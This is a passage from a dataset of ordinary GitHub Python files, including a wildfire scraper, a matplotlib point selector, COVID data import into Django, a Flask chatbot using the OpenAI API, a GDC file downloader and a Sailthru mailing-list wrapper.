historical_data[\"agency_info\"].apply(pd.Series)\nhistorical_data = historical_data.drop(columns=[\"agency_info\"])\nprint(historical_data.head())\nhistorical_data.to_excel(r\"C:\\Users\\prith\\OneDrive\\Desktop\\Canadian_wildfire\\history.xlsx\", index =False)\n\n\n","repo_name":"pkopplu/FireDataScraping","sub_path":"getHistoricalData2022.py","file_name":"getHistoricalData2022.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16964132961","text":"import numpy as np\nfrom matplotlib.backend_bases import MouseEvent, MouseButton\n\nclass PointSelector:\n \"\"\"A cursor object for selecting points in a maptlotlib canvas.\"\"\"\n def __init__(self, ax):\n self.ax = ax\n self._points = []\n self._labels = []\n\n # Attach to the matplotlib event loop\n self.ax.figure.canvas.mpl_connect(\"button_press_event\", self.on_click)\n\n @property\n def points(self):\n return np.asarray(self._points)\n\n @property\n def labels(self):\n return np.asarray(self._labels)\n\n def on_click(self, event):\n if not event.inaxes:\n return\n # Add to points\n x, y = event.xdata, event.ydata\n self._points.append((x, y))\n # Left button == foreground, right button == background\n if event.button is MouseButton.LEFT:\n self._labels.append(1)\n self.ax.scatter(x, y, color=\"tab:blue\")\n elif event.button is MouseButton.RIGHT:\n self._labels.append(0)\n self.ax.scatter(x, y, color=\"tab:red\")\n self.ax.figure.canvas.draw()\n","repo_name":"rossbar/segment_anything_sandbox","sub_path":"cursor.py","file_name":"cursor.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73027245800","text":"from unified.core.app import App\nfrom file_management_storage.onedrive.actions import OnedriveActions\nfrom file_management_storage.onedrive.api import OnedriveApi\n\n\nclass OnedriveApp(App, OnedriveActions, OnedriveApi):\n\n def __init__(self):\n super().__init__(\n name=\"OneDrive\",\n description=\"Save your files and photos to OneDrive and access them from any device, anywhere.\",\n category=\"File Management Storage\",\n logo=\"https://logo.500apps.com/onedrive\",\n auth_info=None,\n auth_type='oauth2'\n )","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/file_management_storage/onedrive/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22137258508","text":"import math\r\nfor _ in range(int(input())):\r\n n, m = map(int, input().split())\r\n arr = [] \r\n x = 0\r\n for _ in range(n):\r\n row = list(map(int, input().split()))\r\n arr.append(row)\r\n row = [_ for _ in row if _ < 0]\r\n x += len(row)\r\n \r\n sum = 0\r\n minn = math.inf \r\n for i in range(n):\r\n for j in range(m):\r\n k = abs(arr[i][j])\r\n sum += k\r\n if k < minn:\r\n minn = k\r\n if x % 2 == 0:\r\n print(sum)\r\n else:\r\n print(sum - minn*2)\r\n\r\n ","repo_name":"mlabeeb03/codeforces","sub_path":"Numbers Box.py","file_name":"Numbers Box.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71453670440","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 22 13:58:16 2020\r\n\r\n@author: acoust\r\n\"\"\"\r\nimport os, sys, glob\r\nimport numpy as np\r\nfrom matplotlib import pylab as plt\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nsys.path.append('../')\r\nfrom modules import takeModules as tm\r\nfrom iRevNet import modelDifinition\r\n\r\n\r\n##################################################################################\r\n# flag\r\ndeviceNum = 0\r\n\r\n##################################################################################\r\n# exp. param\r\nlayerNum = 6\r\n\r\n\r\n#filt = 'UNet5SpecNorm'\r\nfilt = 'LinearNoBiasUNet5SpecNorm'\r\n\r\nred = 4\r\n\r\n\r\nmaskEstimator = 'binary'\r\n#maskEstimator = 'UNet5Sigmoid'\r\n\r\nlossMode = 'SDR'\r\n\r\n\r\n\r\n\r\n# training data directory\r\ncleanDir = 'D:/sound_data/Voicebank_DEMAND/clean_testset_wav2'\r\nnoisyDir = 'D:/sound_data/Voicebank_DEMAND/noisy_testset_wav2'\r\n\r\n# save dnn directory\r\ndnn_dir = './dnn_dir/' \r\nif(os.path.isdir(dnn_dir)==False):\r\n os.mkdir(dnn_dir)\r\n \r\n# train parameter\r\nspeechPerSet = 2048\r\nbatchSize = 16\r\nLog_reg = 10**(-6)\r\nvalRatio = 0.1\r\nspeechLen = 2**15\r\n\r\nmaxEpoch = 500\r\n\r\n\r\ninitPad=red-1\r\n##################################################################################\r\nsaveName = \\\r\n'iRevNet_L'+str(layerNum)+\\\r\n'R'+str(initPad+1)+\\\r\n'_'+filt+\\\r\n'_'+maskEstimator+\\\r\n'_'+lossMode+\\\r\n'_bs'+str(batchSize)+\\\r\n'_bpl'+str(speechLen)+\\\r\n'_vr'+str(valRatio)\\\r\n+'_ep'+str(maxEpoch)\r\nfileName = dnn_dir+saveName\r\n\r\ntestDir = 'D:/sound_data/test_iRevNet_pytorch'\r\nif(os.path.isdir(testDir)==False):\r\n os.mkdir(testDir)\r\n#print(saveName)\r\n\r\ncondDir = testDir+'/'+saveName\r\nif(os.path.isdir(condDir)==False):\r\n os.mkdir(condDir)\r\n \r\n\r\n##################################################################################\r\n\r\n\r\nestClean = modelDifinition.iRevNetMasking( layerNum, filt, initPad, maskEstimator).cuda(deviceNum)\r\nestClean.load_state_dict(torch.load(fileName))\r\n\r\n\r\nsdataFns = glob.glob(cleanDir + \"/*.wav\")\r\nxdataFns = glob.glob(noisyDir + \"/*.wav\")\r\ntestNum = len(sdataFns)\r\n\r\nfor utter in range(testNum):\r\n sys.stdout.write('\\rTestSet: '+str(utter+1)+'/'+str(testNum)) \r\n sys.stdout.flush()\r\n s = torch.from_numpy(tm.wavread(sdataFns[utter])[0]).cuda(deviceNum)\r\n x = torch.from_numpy(tm.wavread(xdataFns[utter])[0]).cuda(deviceNum)\r\n sLen = len(s) \r\n zp = speechLen - sLen%speechLen\r\n s = torch.cat( (s, torch.zeros(zp).cuda(deviceNum)), 0 ).unsqueeze(0)\r\n x = torch.cat( (x, torch.zeros(zp).cuda(deviceNum)), 0 ).unsqueeze(0) \r\n y, phi, mask = estClean(x)\r\n y = y.detach()\r\n\r\n s = s[0][:sLen]\r\n x = x[0][:sLen]\r\n y = y[0][:sLen]\r\n \r\n saveFn = condDir+'/'+sdataFns[utter][len(cleanDir)+1:]\r\n tm.wavwrite(saveFn, y.cpu().numpy(), 16000)\r\n \r\nsys.stdout.write('\\n')\r\n","repo_name":"dtake1336/i-revnet-based-time-frequency-transform","sub_path":"02_test.py","file_name":"02_test.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"42397582537","text":"import datetime\n\nimport pandas as pd\n\nfrom . import models\n\n\ndef daily_report(date_string=None):\n # dating as far back to 01-22-2020\n # date formatting '%m-%d-%Y'\n report_directory = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/'\n\n if date_string is None:\n yesterday = datetime.date.today() - datetime.timedelta(days=2)\n file_date = yesterday.strftime('%m-%d-%Y')\n else:\n file_date = date_string\n df = pd.read_csv(report_directory + file_date + '.csv')\n return df\n\n\n# dailly updates\n# add check to update only if there is not done so already\ndef Update_Day(Country_selected=\"Poland\"):\n #chceck for last date in databse, assume\n d = models.Country.objects.latest(\"Date\").Date\n today = datetime.date.today().strftime('%m-%d-%Y')\n for single_date in pd.date_range(d+datetime.timedelta(days=1) , today):\n try:\n Country_Data = daily_report(single_date.strftime(\"%m-%d-%Y\"))\n Country_Data = pd.DataFrame(Country_Data)\n # old schema\n # Province / State, Country / Region, LastUpdate, Confirmed, Deaths, Recovered, Latitude, Longitude\n # new schema\n # FIPS, Admin2, Province_State, Country_Region, Last_Update, Lat, Long_, Confirmed, Deaths, Recovered, Active, Combined_Key\n if 'Country/Region' in Country_Data:\n Country_Data = Country_Data.rename(columns={'Country/Region': 'Country_Region'})\n for country in Country_Data['Country_Region'].unique():\n saveToDB(country, single_date, Country_Data)\n except:\n print(\"No such date\")\n\ndef saveToDB(country, single_date, Country_Data):\n Country_in = country\n Date_in = single_date.strftime(\"%Y-%m-%d\")\n data = Country_Data.loc[Country_Data['Country_Region'] == country]\n Dead_in = data.groupby([\"Country_Region\"]).sum()['Deaths'].values[0]\n Infected_in = data.groupby([\"Country_Region\"]).sum()['Confirmed'].values[0]\n Recoverd_in = data.groupby([\"Country_Region\"]).sum()['Recovered'].values[0]\n\n # populate whit data\n try:\n country = models.Country(Country=Country_in, Date=Date_in, Dead=Dead_in, Infected=Infected_in, Recovered=Recoverd_in)\n country.save()\n except:\n print(\"there was a problem with date or country in data popultaion\", single_date.strftime(\"%d-%m-%Y\"))\n\n\ndef Last_Update_Date():\n return models.Country.objects.last().Date\n\n# to be run in shell once\ndef Make_initail_Databese(Country_selected=\"Poland\", Start_date='03-14-2020'):\n today = datetime.date.today().strftime('%m-%d-%Y')\n for single_date in pd.date_range(Start_date, today):\n try:\n Country_Data = daily_report(single_date.strftime(\"%m-%d-%Y\"))\n Country_Data = pd.DataFrame(Country_Data)\n # old schema\n # Province / State, Country / Region, LastUpdate, Confirmed, Deaths, Recovered, Latitude, Longitude\n # new schema\n # FIPS, Admin2, Province_State, Country_Region, Last_Update, Lat, Long_, Confirmed, Deaths, Recovered, Active, Combined_Key\n if 'Country/Region' in Country_Data:\n Country_Data = Country_Data.rename(columns={'Country/Region': 'Country_Region'})\n\n Country_Data = Country_Data.loc[Country_Data['Country_Region'] == Country_selected]\n with pd.option_context('display.max_rows', None, 'display.max_columns', None):\n print(Country_Data)\n Country_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Country_Region\"].values[\n 0]\n Date_in = single_date.strftime(\"%Y-%m-%d\")\n Dead_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Deaths\"].values[0]\n Infected_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Confirmed\"].values[0]\n Recoverd_in = Country_Data.loc[Country_Data[\"Country_Region\"] == Country_selected][\"Recovered\"].values[0]\n\n # populate whit data\n try:\n country = models.Country(Country=Country_in, Date=Date_in, Dead=Dead_in, Infected=Infected_in,\n Recoverd=Recoverd_in)\n country.save()\n except:\n print(\"there was a problem with date or country in data popultaion\", single_date.strftime(\"%d-%m-%Y\"))\n except:\n print(\"Sth gone wrong\")\n","repo_name":"skuam/COVID-19-Dashboard","sub_path":"database/preproces.py","file_name":"preproces.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24793006663","text":"import os\nimport json\nimport argparse\nimport toml\nfrom functools import cmp_to_key\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom parse import parse1, name2url\n\n\ndef writef(path, s):\n os.makedirs(os.path.dirname(path), exist_ok=True)\n with open(path, 'w') as f:\n f.write(s)\n\n\ndef check_config(cfg, t, path):\n required_fields = [\"title\", \"description\"]\n assert t in cfg, \\\n f\"Field '{t}' not found in {config_path}: \" \\\n f\"Required by {path}.\"\n for field in required_fields:\n assert field in cfg[t], \\\n f\"Field '{field}' of '{t}' not found in {config_path}: \" \\\n f\"Required by {path}\"\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"paths\", nargs='+',\n help=\"paths to markdown articles\")\n parser.add_argument(\"--config\", required=True,\n help=\"path to config.toml\")\n parser.add_argument(\"--output\", required=True,\n help=\"output directory\")\n args = parser.parse_args()\n\n paths, output_dir, config_path = args.paths, args.output, args.config\n\n categories = defaultdict(dict)\n\n tag_list = defaultdict(list)\n category_list = defaultdict(list)\n archive_list = defaultdict(list)\n\n def add_category_nav(path, meta):\n assert path.startswith(\"docs/\")\n dirs = path[5:].split('/')\n if len(dirs) == 1:\n categories[meta[\"title\"]] = \"/\" + path[:-3]\n return None\n\n elif len(dirs) == 2:\n categories[dirs[0]][meta[\"title\"]] = \"/\" + path[:-3]\n return None\n\n else:\n categories[dirs[0]][dirs[1]] = f\"/categories/{dirs[1]}\"\n return dirs[1]\n\n with open(config_path, 'r') as f:\n cfg = toml.loads(f.read())\n\n for path in paths:\n assert path.startswith(\"docs/\")\n assert path.endswith(\".md\")\n\n meta = parse1(path, parse_content=False)\n\n c = add_category_nav(path, meta)\n\n year = datetime.fromisoformat(meta[\"created_at\"]).year\n archive_list[year].append(meta)\n\n if c:\n check_config(cfg, c, path)\n category_list[c].append(meta)\n\n for t in meta[\"tags\"]:\n check_config(cfg, t[\"name\"], path)\n tag_list[t[\"name\"]].append(meta)\n\n category_nav = [\n {\"name\": k, \"to\": v} if type(v) == str else\n {\"name\": k, \"children\":\n sorted([{\"name\": name, \"to\": to} for name, to in v.items()],\n key=lambda i: i[\"name\"])}\n for k, v in categories.items()]\n\n tag_nav = [\n {\"name\": t, \"cnt\": len(items), \"to\": name2url(t, prefix=\"/tags/\")}\n for t, items in tag_list.items()\n ]\n\n archive_nav = [\n {\"name\": t, \"cnt\": len(items), \"to\": f\"/archives/{t}\"}\n for t, items in archive_list.items()\n ]\n\n def cate_cmp(lhs, rhs):\n if \"children\" in lhs and \"children\" not in rhs:\n return -1\n elif \"children\" in rhs and \"children\" not in lhs:\n return 1\n elif \"children\" in lhs and \"children\" in rhs:\n if lhs[\"name\"] < rhs[\"name\"]:\n return -1\n elif lhs[\"name\"] == rhs[\"name\"]:\n return 0\n else:\n return 0\n else:\n if lhs[\"name\"] < rhs[\"name\"]:\n return -1\n elif lhs[\"name\"] == rhs[\"name\"]:\n return 0\n else:\n return 1\n\n category_nav.sort(key=cmp_to_key(cate_cmp))\n tag_nav.sort(key=lambda i: i[\"cnt\"], reverse=True)\n archive_nav.sort(key=lambda i: i[\"name\"])\n\n def dump1(path, data):\n path = os.path.join(output_dir, path)\n data = json.dumps(data, ensure_ascii=False, indent=2)\n writef(path, data)\n\n dump1(\"tags.json\", tag_nav)\n dump1(\"categories.json\", category_nav)\n dump1(\"archives.json\", archive_nav)\n\n for t, items in tag_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n title, desc = cfg[t][\"title\"], cfg[t][\"description\"]\n uname = name2url(t)\n dump1(f\"tags/{uname}.json\", {\"name\": title, \"description\": desc,\n \"items\": items, \"url\": f\"/tags/{uname}\"})\n\n for t, items in category_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n title, desc = cfg[t][\"title\"], cfg[t][\"description\"]\n dump1(f\"categories/{t}.json\",\n {\"name\": title, \"description\": desc,\n \"items\": items, \"url\": f\"/categories/{t}\"})\n\n for t, items in archive_list.items():\n items.sort(key=lambda i: i[\"created_at\"], reverse=True)\n dump1(f\"archives/{t}.json\", {\"name\": t, \"items\": items,\n \"url\": f\"/archives/{t}\"})\n","repo_name":"Hongqin-Li/blog","sub_path":"scripts/parse_extra.py","file_name":"parse_extra.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17670354793","text":"from collections import OrderedDict\nfrom core import sharding_map_generator\nimport json\nimport os\nimport tempfile\nimport unittest\n\n\nclass TestShardingMapGenerator(unittest.TestCase):\n\n def _init_sample_timing_data(self, times):\n timing_data = OrderedDict()\n timing_list = []\n all_stories = {}\n for i in range(len(times)):\n all_stories['benchmark_' + str(i)] = []\n story_times = times[i]\n for j in range(len(story_times)):\n all_stories['benchmark_' + str(i)].append('story_' + str(j))\n timing_data['benchmark_' + str(i) + '/' + 'story_' + str(j)] = (\n story_times[j])\n timing_list.append({\"run_time\": story_times[j],\n \"run_name\": 'benchmark_' + str(i) + '/' + 'story_' + str(j)})\n return timing_data, all_stories, timing_list\n\n def testGenerateAndTestShardingMap(self):\n timing_data, all_stories, timing_list = self._init_sample_timing_data(\n [[60, 56, 57], [66, 54, 80, 4], [2, 8, 7, 37, 2]])\n\n sharding_map = sharding_map_generator.generate_sharding_map(\n timing_data, all_stories, 3)\n fd_map, map_path = tempfile.mkstemp(suffix='.json')\n fd_test_data, test_path = tempfile.mkstemp(suffix='.json')\n try:\n with os.fdopen(fd_map, 'w') as f:\n json.dump(sharding_map, f)\n with os.fdopen(fd_test_data, 'w') as f:\n json.dump(timing_list, f)\n results = sharding_map_generator.test_sharding_map(map_path, test_path)\n self.assertEqual(results['0'], 173)\n self.assertEqual(results['1'], 120)\n self.assertEqual(results['2'], 140)\n finally:\n os.remove(map_path)\n os.remove(test_path)\n","repo_name":"tigercosmos/labium","sub_path":"tools/perf/core/sharding_map_generator_unittest.py","file_name":"sharding_map_generator_unittest.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39550559250","text":"from flask import Flask, render_template, request, jsonify\nimport json\nfrom base import *\nimport openai\nimport os, sys\nimport json\nimport numpy as np\n\n\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/send_message', methods=['POST'])\ndef send_message():\n global chat_exemplars, n_hist, history, M, thresh, intentKnown\n message = request.form['message']\n x = get_embedding(message)\n\n resonance = x.dot(M)\n if np.max(resonance) > thresh:\n recollection = history[np.argmax(resonance)]\n else:\n recollection = \"\"\n\n if False:\n #if (not intentKnown):\n intent, ps, toks = probeGPT(messages=intent_check_exemplars + [{'role':'user', 'content':message}], model=model_map['ChatGPT'], temp=0)\n print(intent)\n if intent in ['intro', 'configuration']:\n intentKnown = True\n instructions = docs[intent]\n header = '''You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and help them get started with the app. Use your notes to respond to the input step-by-step. You are a Chatbot that helps visitors to the Unforgettable.me website get started. ''' + instructions + '''General: Ask the user to reply after each step to give them the next step and tell them to ask you if they need more help'''\n\n chat_exemplars = [{'role':'system', 'content':header}]\n response = \"Great! I know how to help you with that. \" + docs[intent]\n else:\n response = \"I'm sorry, I don't know how to help you with that. Please provide me more information about what you need help with.\"\n\n #if (not intentKnown):\n # resp_text, ps, toks = probeGPT(messages=intent_exemplars, model=model_map['ChatGPT'], temp=0.7) \n #else:\n if True:\n print(len(chat_exemplars))\n #print(\"Recollection: \", recollection )\n chat_exemplars.append({'role':'user', 'content': message})\n # Process the message and generate a response\n resp_text, ps, toks = probeGPT(messages=chat_exemplars, model=model_map['ChatGPT'], temp=0.1)\n chat_exemplars.append({'role':'assistant', 'content': resp_text})\n #mem = \"User: \" + message + \"\\nBot: \" + resp_text + \"\\n\"\n #history.append(mem) \n #M[:, n_hist] = get_embedding(mem)\n\n response = resp_text#f\"You said: {message}\"\n return jsonify({'response': response})\n\n\nwith open(\"rsc/fun.dat\", \"r\") as f:\n key = f.read().strip()\nopenai.api_key = key\n\nwith open(\"config.json\", \"r\") as f:\n config = json.loads(f.read())\n\n\ndoc_files = os.listdir(config['out_path'] + 'docs/')\ndocs, doc_tags = load_docs(doc_files, config['out_path'] + 'docs/')\n\nn_hist = 1\nhistory = ['']\nM = np.zeros((1536, 10000)) # conversation memory\n\nthresh = 0.5\ninput_text = \"Hello.\"\n\ndoc_tag = sys.argv[1]\n\ninstructions = docs[doc_tag]\n\nheader_intent = \"You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and find out what they need help with. If they haven't registered yet, downloaded the app, and logged in, then they need the introductory guides. If they have, then they need help with configuration.\"\nheader_intent_check = \"Your job is to help the program know the user's intent. If the user needs help getting registered and download the app, then their intent is 'intro'. If the participant needs to configure the settings on the app of phone, then their intent is 'configuration'. Your job is to see their message and provide a single word response: either 'intro', 'configuration', or 'unknown' if you do not know the user's intent. Respond with a single word.\"\n\nintent_exemplars = [{'role':'system', 'content': header_intent}]\nintent_check_exemplars = [{'role':'system', 'content': header_intent_check}]\n\nheader = '''Your name is Chester. You work for Unforgettable.me a private data-aggregation service that places the value of data in the hands of the user. Your job is to greet new participants and help them get started with the app. Use your notes to respond to the input step-by-step. You are a Chatbot that helps visitors to the Unforgettable.me website get started. ''' + instructions + '''General: Ask the user to reply after each step to give them the next step and tell them to ask you if they need more help'''\n\nchat_exemplars = [{\"role\": \"system\", \"content\": header}] #+ chat_exemplars\nintentKnown = False\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"complex-human-data-hub/UnforgettableChat","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74434729959","text":"import logging\nimport re\nimport time\nimport sys\nimport os\nfrom Crypto.Hash import MD5\n\n\ncdir = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(os.path.dirname(cdir))\n\nfrom gdc_client import gdc_client\nfrom download_tool.download.DownloadError import DownloadError\nfrom download_tool.download.download_error_handler import download_error_handler\nfrom cml.cml_validator import *\nfrom config import *\n\nlogger = logging.getLogger(\"download_tool\")\n\n# create console handler with a higher log level\nefh = logging.FileHandler('download_error.log')\nefh.setLevel(logging.INFO)\nch = logging.StreamHandler()\nch.setLevel(logging.WARNING)\n# create formatter and add it to the handlers\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\nefh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlogger.addHandler(efh)\nlogger.addHandler(ch)\n\n\nDELIM = \"\\t\"\nI_ID = 0\nI_FILENAME = 1\nI_MD5_SUM = 2\nI_SIZE = 3\nI_STATE = 4\n\nSVS_EXTENSION = \"svs\"\nTGCA_PREFIX = \"TGCA\"\nGBM = \"GBM\"\nLGG = \"LGG\"\n\n\ndef setup_output_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n elif os.path.isfile(path):\n logger.critical(\"Can't create output directory for downloaded files.\")\n exit(os.EX_CANTCREAT)\n\n\ndef setup_progress_log(path):\n if os.path.exists(path) and os.path.isdir(path):\n logger.critical(\n \"Cannot create progress log. Path already exists and it is a directory.\"\n )\n exit(os.EX_CANTCREAT)\n elif not os.path.exists(path):\n with open(path, \"a\") as f:\n return\n\ndef setup_download_failure_log(path):\n if os.path.exists(path) and os.path.isdir(path):\n logger.critical(\n \"Cannot create failure log. Path already exists and it is a directory.\"\n )\n exit(os.EX_CANTCREAT)\n elif not os.path.exists(path):\n with open(path, \"a\") as f:\n return\n\nif __name__ == \"__main__\":\n # Read in command line arguments and validate\n cml_validator()\n\n # Read in config and do some basic validating\n try:\n conf = load_config(sys.argv[I_CML_CONFIG_FILE], v_mandate_fields)\n except (KeyError, FileNotFoundError) as e:\n print(f\"Bad config: {repr(e)}\", file=sys.stderr)\n exit(os.EX_CONFIG)\n\n # output directory for downloaded files\n setup_output_dir(conf[OUTPUT_DIR])\n setup_progress_log(conf[PROGRESS_LOG])\n\n gdc = gdc_client()\n\n finished = False\n while not finished:\n # skip to line in manifest we are up to\n last_id = \"\"\n with open(conf[PROGRESS_LOG], \"r\") as f:\n lns = f.readlines()\n if len(lns) > 0:\n last_id = lns[-1].split(\",\")[0]\n \n\n\n try:\n with open(sys.argv[I_CML_MANIFEST_FILE], \"r\") as f:\n if last_id:\n found = False\n while not found:\n ln = f.readline()\n if ln.split(DELIM)[0] == last_id:\n found = True\n\n with open(conf[PROGRESS_LOG], \"a\") as p:\n for ln in f:\n ln = ln.strip()\n logger.info(\"Manifest line read: %s\", ln)\n sln = ln.split(DELIM)\n if len(ln) < 3:\n logger.warning(\n \"Unexpected data format: Split line has length: %s, expected length of 4. Line was: %s\",\n len(sln),\n ln,\n )\n continue\n\n try:\n # output dir\n out_path = conf[OUTPUT_DIR]\n\n #this is false when this script is used for predict_manifest.\n if conf[MIMIC_GDC_FOLDERS]:\n # object dir\n out_path = os.path.join(out_path, sln[I_ID])\n if not os.path.exists(out_path) and not os.path.isdir(out_path):\n print(out_path)\n os.mkdir(out_path)\n\n out_path = os.path.join(out_path, sln[I_FILENAME])\n # download data as a stream to limit RAM usage\n gdc.stream_download_file(sln[I_ID], sln[I_MD5_SUM], out_path, conf[CHUNK_SIZE])\n \n # write the file details to the progress log\n p.write(sln[I_ID] + \",\" + out_path + \"\\n\")\n \n\n except DownloadError as e:\n logger.exception(repr(e))\n download_error_handler(conf[FAILURE_LOG], ln)\n \n finished = True\n except IOError as e:\n logging.critical(f\"Can't open critical file. {repr(e)}\")\n print(f\"Can't open critical file. {repr(e)}\", file=sys.stderr)\n exit(os.EX_IOERR)\n \n except Exception as e:\n logging.exception(repr(e))\n time.sleep(120)\n continue\n\n","repo_name":"tharencandi/undergrad_capstone","sub_path":"src/download_tool/download_script.py","file_name":"download_script.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21051047363","text":"import pathlib\r\nfrom menu import Menu\r\nimport simpleaudio\r\nfrom data_base import Db\r\nclass MenuMain(Menu): # MenuMain inheriting Menu\r\n APPLAUSE = simpleaudio.WaveObject.from_wave_file(pathlib.Path(\"./Soundss/applause.wav\").__str__())\r\n \r\n # help_menu: MenuHelp\r\n def __init__(self) -> None:\r\n super().__init__(options=[\r\n { \"description\": \"add teacher\", \"action\": self.createTeacherData}, # done\r\n { \"description\": \"addStudent\", \"action\": self.createStudentData },# done\r\n { \"description\": \"addGrade\", \"action\": self.insertNewGrade },# done \r\n { \"description\": \"Top student \", \"action\": self.PrintTopStudents },# done\r\n ])\r\n self.Db = Db()\r\n return None\r\n \r\n def applause(self) -> None: # to play applause sound\r\n print(\"Congratulations!\")\r\n play_obj = self.APPLAUSE.play()\r\n play_obj.wait_done()\r\n return None\r\n \r\n def createStudentData(self) -> None: \r\n print(\"Insert student details:\")\r\n first_name = input(\"First name: \")\r\n last_name = input(\"Last name: \")\r\n birth_date = (input(\"Date of birth: \"))\r\n student_data = (first_name, last_name, birth_date,) \r\n self.Db.addStudent(student_data)\r\n return None\r\n \r\n def createTeacherData(self) -> None: \r\n print(\"Insert Teacher details:\")\r\n TeacherName = input(\"Enter teacher name: \")\r\n self.Db.addteacher(TeacherName)\r\n return None\r\n \r\n def createStudentGrade(self) -> None:\r\n print(\"Insert student grade:\")\r\n course_name = input(\"Course name: \")\r\n teacher_id = (input(\"Teacher mame: \"))\r\n student_id = (input(\"Student id: \"))\r\n course_grade = float(input(\"Course grade: \"))\r\n course_date = float(input(\"Course date: \"))\r\n student_grade = (course_name, teacher_id, student_id, course_grade, course_date,) \r\n return student_grade\r\n \r\n\r\n \r\n def insertNewGrade(self) -> None: \r\n print(\"Insert grade details:\")\r\n course_name = input(\"Course name: \")\r\n while True:\r\n teacher_Name = input(\"Teacher Name: \")\r\n teacher_data = self.Db.getteacher(teacher_Name)\r\n if teacher_data is not None:\r\n break\r\n else:\r\n print(\"teacher dosent exsist try again.\")\r\n \r\n while True:\r\n\r\n student_firstName = input(\"Student first Name: \")\r\n student_lastname = input(\"student last name: \")\r\n student_data = self.Db.getstudents(student_firstName,student_lastname)\r\n \r\n \r\n if student_data is not None:\r\n break\r\n else:\r\n print(\"student dosent exisit try again.\")\r\n \r\n \r\n grade = float(input(\"Course grade: \"))\r\n \r\n student_new_grade = (course_name, teacher_data[0], student_data[0], grade,) \r\n self.Db.addStudentGrade(student_new_grade)\r\n return None\r\n \r\n def PrintTopStudents(self) -> None:\r\n while True:\r\n course_name=input(\"course name: \")\r\n max_grade1 = self.Db.getTopStudent(course_name)\r\n if max_grade1 is not None:\r\n break \r\n else:\r\n print(\"wrong course name\")\r\n student = self.Db.get_student_byID(max_grade1[0])\r\n print(f\"The top grade: {max_grade1[1]} belongs to {student[1]} {student[2]}\")\r\n self.applause()\r\n \r\n ","repo_name":"Mohamed2022t/python-","sub_path":"menu_main.py","file_name":"menu_main.py","file_ext":"py","file_size_in_byte":3504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43546712961","text":"from __future__ import print_function\n\nimport datetime\nfrom decimal import Decimal\nimport json\nimport logging\nimport tempfile\n\nfrom dateutil.parser import parse as date_parse\nfrom sailthru.sailthru_client import (\n SailthruClient as SailthruClientBase,\n get_signature_hash,\n)\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom marketplace.models import Country\n\nfrom mailing_lists.constants import BatchStatus\nfrom mailing_lists.integrations.sailthru import SailthruError, ApiKeyNotSet\n\nlogger = logging.getLogger(__name__)\n\n\nclass ExportFailed(SailthruError):\n pass\n\n\nclass PollFailed(SailthruError):\n pass\n\n\ndef _encoder_default(obj):\n encoders = [\n ((datetime.date, datetime.datetime), lambda date: date.isoformat()),\n (Country, lambda country: country.title),\n (Decimal, lambda number: str(number)),\n ]\n for types, encoder in encoders:\n if isinstance(obj, types):\n return encoder(obj)\n raise TypeError(\"Unable to serialise {}!\".format(repr(obj)))\n\n\nclass SailthruClient(SailthruClientBase):\n\n def _prepare_json_payload(self, data):\n payload = {\n 'api_key': self.api_key,\n 'format': 'json',\n 'json': json.dumps(data, default=_encoder_default),\n }\n signature = get_signature_hash(payload, self.secret)\n payload['sig'] = signature\n return payload\n\n\nclass BatchJobAPI(object):\n\n def __init__(self, provider):\n if provider != \"sailthru\":\n raise NotImplementedError(\"Only Sailthru implemented at present\")\n if settings.SAILTHRU_API_KEY in [None, '']:\n raise ApiKeyNotSet()\n self.api = SailthruClient(\n settings.SAILTHRU_API_KEY, settings.SAILTHRU_API_SECRET)\n\n def 